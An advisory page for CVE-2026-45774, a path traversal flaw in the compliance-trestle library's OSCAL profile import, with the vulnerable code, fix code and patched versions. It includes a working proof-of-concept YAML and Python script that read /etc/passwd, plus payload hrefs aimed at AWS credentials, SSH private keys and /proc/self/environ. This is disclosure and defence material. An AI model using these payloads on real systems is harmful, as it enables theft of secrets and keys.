Skip to main content

compliance-trestle CVE-2026-45774

MEDIUM
Path Traversal (CWE-22)
2026-05-28 https://github.com/oscal-compass/compliance-trestle GHSA-mj4x-vf5c-5xg8
Share

Lifecycle Timeline

2
Source Code Evidence Fetched
May 28, 2026 - 18:01 vuln.today
Analysis Generated
May 28, 2026 - 18:01 vuln.today

DescriptionCVE.org

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

  1. PT-001: trestle://../../etc/passwd - via trestle:// URI scheme
  2. PT-002: ../../etc/passwd - via relative path in href
  3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 - LocalFetcher (trestle:// URI handling)

python
class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
# ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check - .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 - LocalFetcher (relative path handling)

python
# For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue - resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 - Profile import href resolution

python
class Import(Pipeline.Filter):
    def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href
# ❌ rlink.href from OSCAL data - user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]
# Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause:

  1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
  2. No is_relative_to(trestle_root) check after resolve
  3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
  4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

bash
pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

yaml
# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

python
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())
# Normal usage - stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")
# /tmp/xxx/catalogs/test/catalog.json
# Exploit - escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")
# /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

python
class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
# ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

  1. Credential Theft via OSCAL Import:
yaml
   imports:
     - href: "trestle://../../root/.aws/credentials"
     - href: "trestle://../../root/.ssh/id_rsa"
  1. System Reconnaissance:
yaml
   imports:
     - href: "trestle://../../etc/passwd"
     - href: "trestle://../../proc/self/environ"
  1. Supply Chain Attack:

Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.

  1. Dead Code Evidence:

TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere - proves path validation was INTENDED but never implemented.

AnalysisAI

Arbitrary file read in IBM's compliance-trestle Python library allows any file accessible to the running process to be extracted by supplying a malicious OSCAL profile YAML with path traversal sequences in the imports[].href field. Three confirmed attack vectors exist: via the trestle:// URI scheme, via relative href paths, and via back_matter rlinks - all exploiting the same root cause in LocalFetcher. Publicly available exploit code (PoC) exists demonstrating extraction of /etc/passwd, cloud credential files, and SSH private keys; no CISA KEV listing is confirmed at time of analysis.

Technical ContextAI

compliance-trestle is an IBM/OSCAL Compass Python library for managing OSCAL (Open Security Controls Assessment Language) compliance documents. The vulnerability resides in trestle/core/remote/cache.py (LocalFetcher class, lines 175-179 for trestle:// URIs and line 194 for relative paths) and trestle/core/resolver/_import.py (line 104). When processing OSCAL profile imports[].href values, LocalFetcher concatenates the URI with trestle_root and calls Python's pathlib.Path.resolve(), which canonicalizes ../ sequences and can produce absolute paths outside the workspace such as /etc/passwd. No is_relative_to(trestle_root) boundary check is performed after resolution. A validation regex TRESTLE_HREF_REGEX was defined at const.py:253 but is never enforced anywhere in the codebase, constituting dead validation code - and even if enforced, the pattern '^trestle://[^/]' would pass traversal payloads since '.' matches [^/]. The root cause class is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). Affected packages are pkg:pip/compliance-trestle versions 4.0.0 through 4.0.2 and all 3.x versions prior to 3.12.2.

RemediationAI

Upgrade compliance-trestle to version 4.0.3 (for 4.x users) or version 3.12.2 (for 3.x users) per the vendor-released patches documented in commits 5c65c5926fe7ca908b9c1d281f904e7d97ba8310 and d00a0c2f702c24f7016009fbd626036f5c46f47b. The fix adds is_relative_to(trestle_root) boundary enforcement after pathlib.Path.resolve() in LocalFetcher for both the trestle:// URI handler and the relative path handler, raising TrestleError when the resolved path escapes the workspace; it also enforces the previously dead TRESTLE_HREF_REGEX at const.py:253. For teams unable to patch immediately, the most actionable compensating control is to restrict trestle profile resolution to internally-authored OSCAL files only - explicitly block automated ingestion of externally-sourced profiles by gating pipelines on source verification. Running the trestle process under a dedicated low-privilege service account without access to cloud credential files (~/.aws, ~/.kube, ~/.ssh) limits the blast radius if exploitation occurs, though it does not eliminate the vulnerability. Advisory: https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-45774 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy